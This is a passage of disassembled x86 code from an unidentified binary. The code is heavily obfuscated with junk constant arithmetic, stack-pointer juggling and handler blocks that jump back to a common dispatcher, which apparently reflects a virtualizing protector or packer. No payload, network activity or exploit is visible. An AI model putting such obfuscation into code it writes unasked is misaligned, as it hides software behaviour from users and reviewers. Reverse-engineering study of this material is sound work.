		add	ebx, 19FA60DFh
		jmp	loc_579D03
; ---------------------------------------------------------------------------


loc_57810E:				; CODE XREF: ud2_____:00577CBBj
		add	esp, 4
		jmp	loc_578FE4
; ---------------------------------------------------------------------------


loc_578119:				; CODE XREF: ud2_____:0057A202j
		add	eax, 68105B4Ah
		jmp	loc_57384B
; ---------------------------------------------------------------------------


loc_578123:				; CODE XREF: ud2_____:0057B48Bj
		sub	ecx, ebp
		add	ecx, 44C86D07h
		push	esi
		mov	esi, 429A6372h
		add	ecx, esi
		pop	esi
		pop	ebp
		shr	ecx, 8
		dec	ecx
		jmp	loc_57C46B
; ---------------------------------------------------------------------------


loc_57813E:				; CODE XREF: ud2_____:00573ACEj
		push	ecx
		mov	cl, 1Dh
		jmp	loc_5747CA
; ---------------------------------------------------------------------------


loc_578146:				; CODE XREF: ud2_____:005784BDj
		pop	ecx
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_57A986
; ---------------------------------------------------------------------------


loc_578152:				; CODE XREF: ud2_____:00572E07j
		push	edx
		jmp	loc_577315
; ---------------------------------------------------------------------------


loc_578158:				; CODE XREF: ud2_____:00576FA1j
		shl	ebx, 3
		jmp	loc_57D07A
; ---------------------------------------------------------------------------


loc_578160:				; CODE XREF: ud2_____:00574E4Fj
		mov	ebx, 1BEE76D7h
		sub	ebx, 1BEE76D3h
		jmp	loc_575C27
; ---------------------------------------------------------------------------


loc_578170:				; CODE XREF: ud2_____:0057DC70j
		pop	edi
		jmp	loc_571E96
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57817E:				; CODE XREF: ud2_____:005723E8j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_573BCE
; ---------------------------------------------------------------------------


loc_578192:				; CODE XREF: ud2_____:00574E66j
		mov	cl, 9
		push	ebx
		mov	bh, 0E8h
		or	bh, 17h
		dec	bh
		xor	bh, 0F2h
		sub	cl, bh
		pop	ebx
		push	edx
		mov	dl, cl
		mov	bl, dl
		pop	edx
		pop	ecx
		inc	bl
		add	bl, 0AFh
		jmp	loc_572E46
; ---------------------------------------------------------------------------


loc_5781B3:				; CODE XREF: ud2_____:005728CCj
		xor	edx, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5781C4:				; CODE XREF: ud2_____:0057BA09j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_57D21F
; ---------------------------------------------------------------------------


loc_5781D2:				; CODE XREF: ud2_____:00574985j
		pop	ebx
		jmp	loc_57BF1C
; ---------------------------------------------------------------------------


loc_5781D8:				; CODE XREF: ud2_____:0057C3F4j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57880A
; ---------------------------------------------------------------------------


loc_5781FA:				; CODE XREF: ud2_____:00574314j
		sub	al, 0F3h
		add	al, dl
		jmp	loc_57CAE4
; ---------------------------------------------------------------------------


loc_578203:				; CODE XREF: ud2_____:00571E02j
		add	esp, 4
		push	cx
		xchg	si, [esp]
		neg	si
		xchg	si, [esp]
		mov	cx, [esp]
		add	esp, 2
		sub	cx, 0D97h
		push	small 2BCDh
		mov	[esp], di
		push	eax
		mov	ax, 7E59h
		mov	di, ax
		pop	eax
		sub	cx, di
		pop	di
		jmp	loc_5790ED
; ---------------------------------------------------------------------------


loc_57823D:				; CODE XREF: ud2_____:0057DAE3j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 0
		add	edx, eax
		mov	[edx], cl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_57AAB5
; ---------------------------------------------------------------------------


loc_578262:				; CODE XREF: ud2_____:00574699j
		sub	eax, edx
		pop	edx
		sub	dword ptr [esp+4], 41403D55h
		sub	[esp+4], eax
		jmp	loc_579674
; ---------------------------------------------------------------------------


loc_578276:				; CODE XREF: ud2_____:00578820j
		mov	esi, 4
		add	edi, 511A773Ah
		jmp	loc_579916
; ---------------------------------------------------------------------------


loc_578286:				; CODE XREF: ud2_____:00577D7Fj
		mov	dx, [esp]
		jmp	loc_575C12
; ---------------------------------------------------------------------------


loc_57828F:				; CODE XREF: ud2_____:00571AC2j
		mov	[esp], ebp
		push	2B540C1Ch
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5794EE
; ---------------------------------------------------------------------------


loc_5782AF:				; CODE XREF: ud2_____:0057503Bj
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_57B4A8
; ---------------------------------------------------------------------------


loc_5782C2:				; CODE XREF: ud2_____:00572CF2j
		mov	edi, 11EB3208h
		push	ebx
		push	28F859A2h
		pop	ebx
		sub	ebx, 5D852108h
		add	ebx, 443E3B00h
		push	ebx
		pop	ecx
		jmp	loc_5773BD
; ---------------------------------------------------------------------------


loc_5782E1:				; CODE XREF: ud2_____:005728ECj
		add	[esp], eax
		jmp	loc_57869F
; ---------------------------------------------------------------------------


loc_5782E9:				; CODE XREF: ud2_____:0057D6CEj
		push	ebx
		mov	ebx, 0CDA7EA5h
		shr	ebx, 1
		inc	ebx
		jmp	loc_579CEA
; ---------------------------------------------------------------------------


loc_5782F7:				; CODE XREF: ud2_____:0057C16Bj
		push	53C2h
		mov	[esp], ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5768CF
; ---------------------------------------------------------------------------


loc_578316:				; CODE XREF: ud2_____:0057BD80j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_57CB15
; ---------------------------------------------------------------------------


loc_578324:				; CODE XREF: ud2_____:0057C5DDj
		xor	dh, 33h
		inc	dh
		sub	dh, 0D8h
		push	ebx
		jmp	loc_575CE4
; ---------------------------------------------------------------------------


loc_578332:				; CODE XREF: ud2_____:00577533j
		sub	eax, 2
		sub	esp, 4
		jmp	loc_579CE2
; ---------------------------------------------------------------------------


loc_578342:				; CODE XREF: ud2_____:00578970j
		push	ecx
		jmp	loc_573A24
; ---------------------------------------------------------------------------


loc_578348:				; CODE XREF: ud2_____:00578C19j
		mov	cl, bl
		pop	ebx
		sub	al, cl
		jmp	loc_57BF62
; ---------------------------------------------------------------------------


loc_578352:				; CODE XREF: ud2_____:0057AA0Fj
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 0BDDh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57837B:				; CODE XREF: ud2_____:00571D07j
		add	ecx, 4
		jmp	loc_57CE9F
; ---------------------------------------------------------------------------


loc_578386:				; CODE XREF: ud2_____:0057AA58j
		pop	ebx
		not	edi
		jmp	loc_579BB2
; ---------------------------------------------------------------------------


loc_57838E:				; CODE XREF: ud2_____:0057DC03j
		add	bl, dh
		add	bl, 0BBh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 39h
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5783C2:				; CODE XREF: ud2_____:00577703j
		or	ecx, 6F713FB9h
		dec	ecx
		jmp	loc_57A1D4
; ---------------------------------------------------------------------------


loc_5783CE:				; CODE XREF: ud2_____:00574A12j
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bl, dl
		jmp	loc_5731A3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_577680
; ---------------------------------------------------------------------------


loc_5783E8:				; CODE XREF: ud2_____:0057D30Bj
		sub	edx, 4E8E0F68h
		jmp	loc_579E3D
; ---------------------------------------------------------------------------


loc_5783F3:				; CODE XREF: ud2_____:0057DBE5j
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_573B6E
; ---------------------------------------------------------------------------


loc_57840B:				; CODE XREF: ud2_____:00576D13j
		mov	edi, ebp
		jmp	loc_57B29D
; ---------------------------------------------------------------------------


loc_578412:				; CODE XREF: ud2_____:0057D93Ej
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57841C:				; CODE XREF: ud2_____:00577332j
		shr	edi, 4
		not	edi
		sub	edi, 0E5D26354h
		add	eax, edi
		pop	edi
		add	eax, edx
		sub	eax, 0B6E6E6Dh
		pop	edx
		push	ebp
		jmp	loc_571C4B
; ---------------------------------------------------------------------------


loc_578438:				; CODE XREF: ud2_____:00576845j
		pop	esp
		push	esi
		not	dword ptr [esp]
		jmp	loc_572164
; ---------------------------------------------------------------------------


loc_578442:				; CODE XREF: ud2_____:005785ACj
		xchg	ebp, [esp]
		jmp	loc_57222C
; ---------------------------------------------------------------------------


loc_57844A:				; CODE XREF: ud2_____:00578D2Fj
		pop	esi
		push	esi
		jmp	loc_5750E2
; ---------------------------------------------------------------------------


loc_578451:				; CODE XREF: ud2_____:005777A4j
		xor	eax, ecx
		jmp	loc_57AB26
; ---------------------------------------------------------------------------


loc_578458:				; CODE XREF: ud2_____:00577826j
		push	eax
		mov	al, 0F5h
		sub	al, 31h
		sub	al, 0C6h
		jmp	loc_57C6BF
; ---------------------------------------------------------------------------


loc_578464:				; CODE XREF: ud2_____:00571C46j
		mov	[esp], ebx
		push	ecx
		mov	cl, 2
		jmp	loc_5763BC
; ---------------------------------------------------------------------------


loc_57846F:				; CODE XREF: ud2_____:0057AF05j
		mov	ebx, edx
		pop	edx
		sub	ebx, 41A6D66h
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	0CFEh
		mov	[esp], edx
		jmp	loc_57AF56
; ---------------------------------------------------------------------------


loc_57848B:				; CODE XREF: ud2_____:0057BBF0j
		pop	eax
		push	ebp
		mov	ebp, 4
		sub	eax, 272A654Fh
		push	ebp
		push	eax
		mov	eax, 78211E9h
		not	eax
		neg	eax
		shl	eax, 1
		sub	eax, 0AE1205D5h
		mov	ebp, eax
		pop	eax
		and	ebp, 3FF773D4h
		neg	ebp
		shr	ebp, 8
		jmp	loc_57DAF4
; ---------------------------------------------------------------------------


loc_5784BC:				; CODE XREF: ud2_____:005773A9j
		pop	eax
		jmp	loc_578146
; ---------------------------------------------------------------------------


loc_5784C2:				; CODE XREF: ud2_____:0057502Fj
		mov	ebx, 5CF147C1h
		mov	edx, ebx
		pop	ebx
		or	edi, edx
		pop	edx
		shr	edi, 3
		push	ecx
		jmp	loc_57AF86
; ---------------------------------------------------------------------------


loc_5784D6:				; CODE XREF: ud2_____:0057D535j
		mov	al, bh
		pop	ebx
		sub	bl, al
		pop	eax
		add	bl, al
		add	bl, 0A1h
		push	ecx
		mov	cl, 6Ah
		dec	cl
		xor	cl, 0E9h
		shr	cl, 2
		add	cl, 0FFh
		shl	cl, 3
		push	edx
		push	ebx
		mov	bl, 22h
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, dl
		pop	edx
		push	eax
		mov	ah, 4Eh
		xor	ah, 90h
		inc	ah
		shl	ah, 5
		and	ah, 0B0h
		jmp	loc_57BAAF
; ---------------------------------------------------------------------------


loc_578517:				; CODE XREF: ud2_____:00576E49j
		mov	cl, 0Eh
		jmp	loc_578F54
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	5A68h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_578825
; ---------------------------------------------------------------------------


loc_57854B:				; CODE XREF: ud2_____:0057D87Dj
		not	ebx
		xchg	eax, ebx
		shl	eax, 2
		jmp	loc_576043
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_578556:				; CODE XREF: sub_59C59F-2131Bj
		inc	bh
		add	bh, 65h
		or	cl, bh
		jmp	loc_573D76
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_578562:				; CODE XREF: ud2_____:005724C3j
		sub	esp, 4
		jmp	loc_57A8FF
; ---------------------------------------------------------------------------


loc_57856A:				; CODE XREF: ud2_____:0057C672j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_57B51B
; ---------------------------------------------------------------------------


loc_578575:				; CODE XREF: ud2_____:00571C17j
		xor	al, 4Ch
		push	ecx
		mov	cl, 70h
		sub	bl, 80h
		add	bl, cl
		jmp	loc_57A0EF
; ---------------------------------------------------------------------------


loc_578584:				; CODE XREF: ud2_____:0057C28Ej
		add	esi, eax
		pop	eax
		push	edi
		jmp	loc_57344D
; ---------------------------------------------------------------------------


loc_57858D:				; CODE XREF: ud2_____:00576267j
		mov	ebp, esp
		push	ecx
		jmp	loc_571B4E
; ---------------------------------------------------------------------------


loc_578595:				; CODE XREF: ud2_____:0057A19Dj
		mov	edi, [esp]
		jmp	loc_5769B7
; ---------------------------------------------------------------------------


loc_57859D:				; CODE XREF: ud2_____:0057973Cj
		add	ebp, ecx
		add	ebp, 110A719Bh
		pop	ecx
		add	ebp, 4
		jmp	loc_578442
; ---------------------------------------------------------------------------


loc_5785B1:				; CODE XREF: ud2_____:0057A57Ej
		push	small 20B2h
		mov	[esp], cx
		jmp	loc_57DC0E
; ---------------------------------------------------------------------------


loc_5785BE:				; CODE XREF: ud2_____:0057A8FAj
		push	esi
		mov	esi, 4
		sub	ebx, esi
		jmp	loc_576814
; ---------------------------------------------------------------------------


loc_5785CB:				; CODE XREF: ud2_____:00579E13j
		push	ebp
		mov	ebp, 8731208h
		jmp	loc_57D7AB
; ---------------------------------------------------------------------------


loc_5785D6:				; CODE XREF: ud2_____:00579454j
		pop	ecx
		add	esp, 4
		xchg	dl, bl
		xchg	al, dl
		not	al
		jmp	loc_57704D
; ---------------------------------------------------------------------------


loc_5785E5:				; CODE XREF: ud2_____:00578664j
		xchg	eax, esi
		xor	esi, eax
		jmp	loc_579BD3
; ---------------------------------------------------------------------------


loc_5785ED:				; CODE XREF: ud2_____:0057AC61j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0D7h
		jmp	loc_577559
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57860F:				; CODE XREF: ud2_____:00578FAEj
		mov	ecx, esp
		push	edx
		push	50E68C1h
		pop	edx
		xor	edx, 4C8090Dh
		or	edx, 53416BBDh
		jmp	loc_575F34
; ---------------------------------------------------------------------------


loc_578629:				; CODE XREF: ud2_____:0057B979j
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 2D0E188Bh
		pop	esi
		jmp	loc_57BEF8
; ---------------------------------------------------------------------------


loc_57863C:				; CODE XREF: ud2_____:00574480j
		push	ecx
		jmp	loc_57A157
; ---------------------------------------------------------------------------


loc_578642:				; CODE XREF: ud2_____:0057C4B2j
		pop	ecx
		pop	eax
		add	dh, 15h
		sub	dh, 0E5h
		jmp	loc_57C777
; ---------------------------------------------------------------------------


loc_57864F:				; CODE XREF: ud2_____:0057CD51j
		pop	ecx
		jmp	loc_576FF1
; ---------------------------------------------------------------------------


loc_578655:				; CODE XREF: ud2_____:005794A6j
		push	dword ptr [esp]
		jmp	loc_577D9E
; ---------------------------------------------------------------------------


loc_57865D:				; CODE XREF: ud2_____:00574ADBj
		xor	ebp, [esp]
		xor	[esp], ebp
		xchg	eax, ebp
		jmp	loc_5785E5
; ---------------------------------------------------------------------------


loc_578669:				; CODE XREF: ud2_____:00578B59j
		add	ch, 5Ch
		shl	ch, 6
		jmp	loc_57B942
; ---------------------------------------------------------------------------


loc_578674:				; CODE XREF: ud2_____:00573376j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5754FF
; ---------------------------------------------------------------------------


loc_57867F:				; CODE XREF: ud2_____:00572601j
		neg	ebp
		shr	ebp, 6
		push	esi
		mov	esi, 51AF025Eh
		dec	esi
		dec	esi
		xor	esi, 58D2006Eh
		add	esi, 0FEB80E98h
		add	ebp, esi
		jmp	loc_576D12
; ---------------------------------------------------------------------------


loc_57869F:				; CODE XREF: ud2_____:005782E4j
		sub	dword ptr [esp], 1BFA78DEh
		push	esi
		mov	esi, 65F31ABBh
		add	dword ptr [esp+4], 24983488h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 24983488h
		pop	esi
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5786C6:				; CODE XREF: ud2_____:005770F0j
		mov	[edi+28h], ch
		mov	ecx, [esp]
		jmp	loc_57B109
; ---------------------------------------------------------------------------


loc_5786D1:				; CODE XREF: ud2_____:0057B32Bj
		xor	[esp], ecx
		jmp	loc_57CD8C
; ---------------------------------------------------------------------------


loc_5786D9:				; CODE XREF: ud2_____:0057DB4Bj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_57C48E
; ---------------------------------------------------------------------------


loc_5786E3:				; CODE XREF: ud2_____:0057A8DDj
		mov	[esp], eax
		jmp	loc_5733E3
; ---------------------------------------------------------------------------


loc_5786EB:				; CODE XREF: ud2_____:00574226j
		mov	esi, 2
		push	esi
		sub	dword ptr [esp], 5B897C4Fh
		pop	edx
		add	edx, 5B897C4Fh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57CA44
; ---------------------------------------------------------------------------


loc_57870A:				; CODE XREF: ud2_____:005728FDj
		mov	ax, [esp]
		jmp	loc_572D36
; ---------------------------------------------------------------------------


loc_578713:				; CODE XREF: ud2_____:0057400Dj
		xchg	ecx, edx
		add	edx, 0C19303C1h
		or	[edi+24h], edx
		pop	edx
		xor	[edi+24h], eax
		jmp	loc_57A1B1
; ---------------------------------------------------------------------------


loc_578727:				; CODE XREF: ud2_____:00573B1Aj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5735A9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	712Bh
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_57B0E7
; ---------------------------------------------------------------------------


loc_57874D:				; CODE XREF: ud2_____:0057D132j
		mov	ebx, [esp]
		push	4335h
		mov	[esp], ecx
		jmp	loc_572E6E
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 43h
		jmp	loc_579D14
; ---------------------------------------------------------------------------


loc_578765:				; CODE XREF: ud2_____:00576C91j
		sub	eax, ebx
		mov	ebx, [esp]
		push	6D73h
		mov	[esp], edi
		jmp	loc_5775C8
; ---------------------------------------------------------------------------


loc_578777:				; CODE XREF: ud2_____:0057C8D2j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_572D6E
; ---------------------------------------------------------------------------


loc_5787A3:				; CODE XREF: ud2_____:00577F05j
		push	38h
		pop	edx
		jmp	loc_579A94
; ---------------------------------------------------------------------------


loc_5787AE:				; CODE XREF: ud2_____:005794F5j
		push	ecx
		mov	ecx, ebx
		push	edi
		jmp	loc_57B434
; ---------------------------------------------------------------------------


loc_5787B7:				; CODE XREF: ud2_____:00573DEAj
		sub	ebx, 35041ED1h
		jmp	loc_574E18
; ---------------------------------------------------------------------------


loc_5787C2:				; CODE XREF: ud2_____:0057C393j
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5790FB
; ---------------------------------------------------------------------------


loc_5787E1:				; CODE XREF: ud2_____:005752BEj
		mov	esi, [esp]
		jmp	loc_572614
; ---------------------------------------------------------------------------


loc_5787E9:				; CODE XREF: ud2_____:0057894Fj
		push	eax
		jmp	loc_57402E
; ---------------------------------------------------------------------------


loc_5787EF:				; CODE XREF: ud2_____:005749BFj
		push	edx
		jmp	loc_578B12
; ---------------------------------------------------------------------------


loc_5787F5:				; CODE XREF: ud2_____:0057B3F2j
		pop	ecx
		jmp	loc_57633D
; ---------------------------------------------------------------------------


loc_5787FB:				; CODE XREF: ud2_____:0057C489j
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_573214
; ---------------------------------------------------------------------------


loc_57880A:				; CODE XREF: ud2_____:005781F5j
		add	esp, 4
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_574409
; ---------------------------------------------------------------------------


loc_578816:				; CODE XREF: ud2_____:00576E33j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_578276
; ---------------------------------------------------------------------------


loc_578825:				; CODE XREF: ud2_____:00578546j
		mov	esi, 2
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7D113C67h
		jmp	loc_57311B
; ---------------------------------------------------------------------------


loc_57883A:				; CODE XREF: ud2_____:0057254Aj
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		push	eax
		push	edi
		pop	eax
		pop	edi
		push	ebx
		push	ecx
		push	edi
		push	ebx
		jmp	loc_57422B
; ---------------------------------------------------------------------------


loc_578853:				; CODE XREF: ud2_____:005768F1j
		push	eax
		mov	eax, 0BED5F80h
		add	eax, 3B7479A1h
		sub	eax, 3B550706h
		sub	eax, 7F0453F1h
		add	ebx, eax
		jmp	loc_578FC6
; ---------------------------------------------------------------------------


loc_57886F:				; CODE XREF: ud2_____:0057CE9Aj
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_571C55
; ---------------------------------------------------------------------------


loc_57887D:				; CODE XREF: ud2_____:00573A26j
		add	ecx, 4
		jmp	loc_5738F8
; ---------------------------------------------------------------------------


loc_578888:				; CODE XREF: ud2_____:0057C831j
		mov	ebx, 276F4088h
		and	ebx, 286F1782h
		inc	ebx
		sub	ebx, 0C7439EE4h
		sub	eax, ebx
		pop	ebx
		sub	eax, 174F66BEh
		add	eax, ebp
		add	eax, 174F66BEh
		add	eax, 592B619Dh
		jmp	loc_575F6F
; ---------------------------------------------------------------------------


loc_5788B3:				; CODE XREF: ud2_____:005771BCj
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	0ACAh
		mov	[esp], ebx
		push	12FAh
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		jmp	loc_572079
; ---------------------------------------------------------------------------


loc_5788E3:				; CODE XREF: ud2_____:0057B905j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		add	dword ptr [esp], 1
		mov	edx, [esp]
		jmp	loc_57C5FB
; ---------------------------------------------------------------------------


loc_5788F9:				; CODE XREF: ud2_____:005775A5j
		mov	[esp], eax
		mov	eax, 4
		push	7BD8h
		jmp	loc_572EC7
; ---------------------------------------------------------------------------


loc_57890B:				; CODE XREF: ud2_____:0057B39Aj
		mov	cl, 18h
		inc	cl
		shl	cl, 5
		inc	cl
		sub	cl, 1Ch
		add	bh, cl
		pop	ecx
		add	bh, al
		sub	bh, 5
		pop	eax
		add	al, 0C8h
		add	al, bh
		sub	al, 0C8h
		pop	ebx
		push	edx
		mov	dl, 0F0h
		add	bl, dl
		pop	edx
		jmp	loc_573331
; ---------------------------------------------------------------------------


loc_578932:				; CODE XREF: ud2_____:00575A02j
		add	esp, 4
		jmp	loc_57BA36
; ---------------------------------------------------------------------------


loc_57893D:				; CODE XREF: ud2_____:00575A50j
		push	ebx
		jmp	loc_57B12A
; ---------------------------------------------------------------------------


loc_578943:				; CODE XREF: ud2_____:00578BCFj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_578948:				; CODE XREF: ud2_____:0057A000j
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	cl, 77h
		jmp	loc_5787E9
; ---------------------------------------------------------------------------


loc_578954:				; CODE XREF: ud2_____:005732DDj
		push	ebx
		mov	bl, 1Eh
		neg	bl
		jmp	loc_57B4CA
; ---------------------------------------------------------------------------


loc_57895E:				; CODE XREF: ud2_____:00576638j
		sub	ebx, 3B1A4048h
		pop	edi
		xor	edx, eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57896C:				; CODE XREF: ud2_____:0057A712j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_578342
; ---------------------------------------------------------------------------


loc_578975:				; CODE XREF: ud2_____:0057B14Bj
		mov	[esp], esi
		jmp	loc_57AF2C
; ---------------------------------------------------------------------------


loc_57897D:				; CODE XREF: ud2_____:0057C5D6j
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	eax
		mov	eax, 14CD6BCAh
		xor	eax, 6F1E2A20h
		shr	eax, 5
		add	eax, 1
		neg	eax
		add	eax, 7E2601ADh
		xor	eax, 3C0B2AA2h
		mov	edx, eax
		pop	eax
		shl	edx, 7
		inc	edx
		sub	edx, 1
		not	edx
		add	edx, 26269F85h
		jmp	loc_5792D5
; ---------------------------------------------------------------------------


loc_5789BA:				; CODE XREF: ud2_____:005769E1j
		sub	ecx, 6C0175C2h
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		xor	dword ptr [esp], 294E66A6h
		jmp	loc_574BA1
; ---------------------------------------------------------------------------


loc_5789D3:				; CODE XREF: ud2_____:00577FB0j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		push	4
		pop	eax
		add	ecx, eax
		pop	eax
		jmp	loc_574909
; ---------------------------------------------------------------------------


loc_5789E7:				; CODE XREF: ud2_____:0057CDB4j
		not	ebx
		jmp	loc_575BE9
; ---------------------------------------------------------------------------


loc_5789EE:				; CODE XREF: ud2_____:005730C2j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, eax
		jmp	loc_571B83
; ---------------------------------------------------------------------------


loc_578A08:				; CODE XREF: ud2_____:00576576j
		sub	bl, dh
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		add	bl, al
		add	bl, 6Ch
		jmp	loc_577548
; ---------------------------------------------------------------------------


loc_578A2B:				; CODE XREF: ud2_____:00572E01j
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebp
		jmp	loc_572FE0
; ---------------------------------------------------------------------------


loc_578A4B:				; CODE XREF: ud2_____:0057467Cj
		mov	edx, 513F64D7h
		push	eax
		push	esi
		jmp	loc_57A77B
; ---------------------------------------------------------------------------


loc_578A57:				; CODE XREF: ud2_____:00573818j
		mov	esi, [esp]
		jmp	loc_5754B8
; ---------------------------------------------------------------------------


loc_578A5F:				; CODE XREF: ud2_____:00575A2Cj
		mov	cl, 97h
		xor	cl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	al, cl
		pop	ecx
		jmp	loc_571C41
; ---------------------------------------------------------------------------


loc_578A72:				; CODE XREF: ud2_____:0057D807j
		mov	[esp], ebx
		mov	ebx, 657B6F0Ch
		add	ebx, 203D3A80h
		dec	ebx
		add	ebx, 58433969h
		jmp	loc_576445
; ---------------------------------------------------------------------------


loc_578A8C:				; CODE XREF: ud2_____:00577EBCj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ebp, 46C57F65h
		mov	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 10000h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_57D436
; ---------------------------------------------------------------------------


loc_578ABF:				; CODE XREF: ud2_____:00579BADj
		mov	edx, esp
		push	edi
		jmp	loc_572A1A
; ---------------------------------------------------------------------------


loc_578AC7:				; CODE XREF: ud2_____:005768A0j
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_578ACF:				; CODE XREF: ud2_____:005739D1j
		pop	edx
		push	edx
		mov	dl, 6Eh
		neg	dl
		push	ax
		mov	al, bh
		mov	bh, dl
		mov	dl, al
		jmp	loc_572F8C
; ---------------------------------------------------------------------------


loc_578AE2:				; CODE XREF: ud2_____:0057BE3Cj
		add	edx, 4C4F4AEBh
		add	edx, 0BD05B2Ch
		add	edx, edi
		sub	edx, 0BD05B2Ch
		sub	edx, 4C4F4AEBh
		push	eax
		mov	eax, 0
		add	eax, edx
		mov	ecx, [eax]
		pop	eax
		pop	edx
		push	2958h
		jmp	loc_572049
; ---------------------------------------------------------------------------


loc_578B12:				; CODE XREF: ud2_____:005787F0j
		not	dword ptr [esp]
		pop	edx
		xor	edx, 4B7A5593h
		neg	edx
		push	ebx
		push	esi
		push	ecx
